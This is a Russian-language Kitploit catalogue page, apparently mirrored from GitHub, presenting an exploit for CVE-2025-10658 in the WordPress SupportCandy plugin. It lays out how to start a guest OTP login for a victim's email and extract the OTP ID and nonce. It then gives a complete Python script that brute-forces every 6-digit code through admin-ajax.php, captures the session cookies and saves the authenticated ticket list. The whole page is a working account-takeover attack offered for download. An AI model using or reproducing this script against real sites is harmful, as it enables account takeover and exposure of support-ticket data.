Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-10658 — Эксплойт-скрипт на Python для CVE-2025-10658: перебор 6-значного OTP при гостевом входе в WordPress SupportCandy для полного захвата учетной записи через конечную точку admin-ajax.php. | Kitploit
Инструменты/GitHubGitHub/jfriedli/cve-2025-10658
Атаки на ПаролиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификация
GitHubjfriedli/cve-2025-10658

CVE-2025-10658

Эксплойт-скрипт на Python для CVE-2025-10658: перебор 6-значного OTP при гостевом входе в WordPress SupportCandy для полного захвата учетной записи через конечную точку admin-ajax.php.

Репозиторий
14 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Exploit: SupportCandy — Перебор OTP гостя → Захват аккаунта

1) Запуск потока входа по OTP (браузер)

  • Откройте:
root@kitploit:~
/support/
  • Выберите вход для гостя / OTP
  • Введите целевой email (например, [email protected])
  • Отправьте

2) Извлечение необходимых значений из формы OTP

В DevTools → Network → ответ admin-ajax.php?action=wpsc_authenticate_guest_login:

root@kitploit:~
<input type="hidden" name="otp_id" value="NN">
<input type="hidden" name="_ajax_nonce" value="XXXXXXXXXX">

Сохраните:

  • OTP_ID
  • NONCE

3) Перебор OTP

root@kitploit:~
#!/usr/bin/env python3
import requests, time, sys

ORIGIN = "http://localhost/wordpress"
OTP_ID = 22                  # извлечённый otp_id
NONCE  = "f2349a6ac9"        # извлечённый nonce
START  = 0
END    = 999999
RATE   = 25                  # запросов в секунду

AJAX = ORIGIN.rstrip("/") + "/wp-admin/admin-ajax.php"

def try_code(sess, code):
    r = sess.post(AJAX, data={
        "action": "wpsc_confirm_guest_login",
        "otp": code,
        "otp_id": str(OTP_ID),
        "_ajax_nonce": NONCE,
    }, timeout=10)

    try:
        j = r.json()
    except Exception:
        return False, None

    return (j.get("isSuccess") == 1), j

def main():
    s = requests.Session()
    interval = 1.0 / max(RATE, 1)

    for n in range(START, END + 1):
        code = f"{n:06d}"

        ok, _ = try_code(s, code)
        if ok:
            print(f"[+] OTP взломан: {code}")
            print("[i] Куки:", s.cookies.get_dict())

            # Доступ к странице, требующей аутентификации
            page = s.get(ORIGIN + "/support/?wpsc-section=ticket-list")
            open("with_cookie.html", "wb").write(page.content)

            sys.exit(0)

        if n % 1000 == 0:
            print(f"[*] Перебрано {n} кодов...")

        time.sleep(interval)

    print("[!] Диапазон исчерпан")

if __name__ == "__main__":
    main()

Запуск:

root@kitploit:~
python sc_guest_bruteforce_linear.py

4) Завершение захвата аккаунта

  • Введите взломанный 6-значный OTP в форму браузера
  • Отправьте
Скачать инструмент